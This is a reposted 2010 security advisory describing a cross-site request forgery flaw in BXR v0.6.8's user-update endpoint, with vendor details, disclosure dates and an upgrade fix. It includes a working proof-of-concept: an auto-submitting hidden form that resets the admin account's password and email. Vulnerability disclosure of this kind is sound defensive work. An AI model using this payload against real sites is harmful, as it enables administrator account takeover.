Home / os / win7

BXR v0.6.8 CSRF Vulnerability

Posted on 05 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>BXR v0.6.8 CSRF Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================= BXR v0.6.8 CSRF Vulnerability ============================= Vulnerability ID: HTB22503 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_bxr.html Product: BXR Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/bxr ) Vulnerable Version: 0.6.8 and Probably Prior Versions Vendor Notification: 22 July 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Fixed by Vendor Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking &amp; Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the &quot;/user/update&quot; script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: &lt;form action=&quot;http://host/user/update/1&quot; method=&quot;post&quot; name=&quot;main&quot; &gt; &lt;input type=&quot;hidden&quot; name=&quot;user[name]&quot; value=&quot;admin&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;user[email]&quot; value=&quot;myemail (at) example (dot) com [email concealed]&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;user[password]&quot; value=&quot;123&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;user[password_confirmation]&quot; value=&quot;123&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;belongs_to_group[1]&quot; value=&quot;yes&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;user[default_folder_id]&quot; value=&quot;1&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;commit&quot; value=&quot;Save&quot; /&gt; &lt;/form&gt; &lt;script&gt; document.main.submit(); &lt;/script&gt; Solution: Upgrade to the most recent version # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-05]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP